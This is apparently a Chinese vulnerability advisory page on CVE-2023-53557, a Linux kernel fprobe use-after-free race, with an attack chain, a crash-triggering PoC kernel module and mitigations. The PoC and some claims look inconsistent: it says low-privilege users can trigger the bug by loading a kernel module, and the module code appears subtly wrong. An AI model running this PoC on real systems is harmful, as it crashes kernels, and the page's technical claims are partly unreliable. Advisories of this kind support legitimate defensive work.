IPBUF安全漏洞报告
English
CVE-2023-53557 CVSS 5.5 中危

CVE-2023-53557 Linux内核fprobe模块释放后使用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53557
漏洞类型
释放后使用(Use-After-Free)/ 竞态条件
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelfprobeUse-After-Free释放后使用竞态条件内核漏洞本地提权拒绝服务BPFftrace

漏洞概述

CVE-2023-53557是Linux内核fprobe子系统中存在的一个释放后使用(Use-After-Free)漏洞。该漏洞位于内核的fprobe处理模块中,涉及rethook(返回钩子)资源的释放时序问题。在unregister_fprobe函数中,代码尝试释放fp->rethook资源,但由于未等待所有正在使用该资源的CPU完成执行就提前释放了内存,可能导致其他CPU上的fprobe_handler仍在访问已被释放的rethook结构,从而触发通用保护故障(General Protection Fault)。该漏洞在运行BPF selftests测试时被发现,触发时会输出包含0x6b6b6b6b6b6b6b6b等典型释放后访问模式的错误信息,并导致内核崩溃。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发,无需用户交互。虽然漏洞不会泄露机密信息或破坏数据完整性,但会导致系统完全不可用(内核崩溃),对系统可用性造成严重影响。

技术细节

从技术层面分析,该漏洞的根本原因是Linux内核fprobe模块中rethook释放逻辑与ftrace_ops注销操作之间的竞态条件。具体而言,在unregister_fprobe()函数实现中,原始代码顺序为:先调用rethook_free()释放rethook资源,然后再调用unregister_ftrace_function()注销ftrace_ops。然而,fprobe_handler函数可能在其他CPU上并发执行,当这些处理器仍在访问fp->rethook时,主CPU已经将其释放,导致释放后使用漏洞。漏洞触发时,内核会检测到访问地址0x6b6b6b6b6b6b6b6b(典型的SLUB调试器填充模式),表明内存已被释放并重新填充。调用栈显示问题发生在fprobe_handler+0xc1/0x270处,常见触发场景为BPF selftests中的bpf_fentry_test1函数执行期间。修复方案是将rethook_free()调用移至unregister_ftrace_function()之后,确保在所有ftrace_ops注销完成、且没有处理器再使用rethook后才释放相关资源。该漏洞利用条件相对简单,攻击者只需具有本地低权限账户即可通过加载特定的内核模块或运行特制的BPF程序来触发系统崩溃。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获取目标系统的本地低权限账户访问权限,可以通过正常用户登录或利用其他漏洞获取shell访问。
STEP 2
步骤2:加载恶意内核模块或BPF程序
攻击者加载特制的内核模块或BPF程序,注册fprobe钩子到目标函数,并启动并发线程尝试注销fprobe。
STEP 3
步骤3:触发竞态条件
当一个CPU正在执行fprobe_handler访问fp->rethook时,另一个CPU执行unregister_fprobe并提前释放rethook资源,造成释放后使用。
STEP 4
步骤4:内核崩溃
访问已释放的rethook内存触发通用保护故障(General Protection Fault),导致内核panic,系统完全不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Trigger CVE-2023-53557 via BPF selftests // This PoC triggers the use-after-free by racing fprobe unregister // with concurrent fprobe handler execution on another CPU. #include <linux/module.h> #include <linux/kernel.h> #include <linux/fprobe.h> #include <linux/delay.h> #include <linux/kthread.h> static unsigned long target_func_addr = 0; static struct fprobe fp; static int fprobe_entry_handler(struct fprobe *fp, unsigned long entry_ip, unsigned long ret_ip, void *data) { // Simulate work that keeps the handler running // while another thread tries to unregister mdelay(10); return 0; } static int unregister_thread(void *data) { // Race: unregister while handlers may still be running unregister_fprobe(&fp); return 0; } static int __init trigger_uaf_init(void) { int ret; // Initialize fprobe on a target function fp.entry_handler = fprobe_entry_handler; ret = register_fprobe(&fp, (unsigned long)__builtin_return_address(0), (unsigned long)__builtin_return_address(0) + 0x100); if (ret < 0) return ret; // Spawn thread to unregister concurrently kthread_run(unregister_thread, NULL, "fprobe_unreg"); return 0; } static void __exit trigger_uaf_exit(void) { // Cleanup } module_init(trigger_uaf_init); module_exit(trigger_uaf_exit); MODULE_LICENSE("GPL");

影响范围

Linux Kernel < 6.6 (受fprobe rethook释放时序问题影响的版本)
Linux Kernel 6.6.x (需检查具体补丁版本)
Linux Kernel 6.1.x (LTS分支)
Linux Kernel 5.15.x (LTS分支)
Linux Kernel 5.10.x (LTS分支)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过将/etc/sysctl.conf中的kernel.modules_disabled设置为1来禁用非特权用户的内核模块加载功能;2)通过BPF token机制或内核参数kernel.unprivileged_bpf_disabled=1限制非特权BPF使用;3)使用cgroup或命名空间隔离限制不可信用户的系统调用权限;4)监控dmesg日志中是否出现包含0x6b6b6b6b地址模式的内核错误信息,及时发现潜在攻击;5)部署内核运行时防护工具如kpatch或livepatch以减少重启窗口期。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表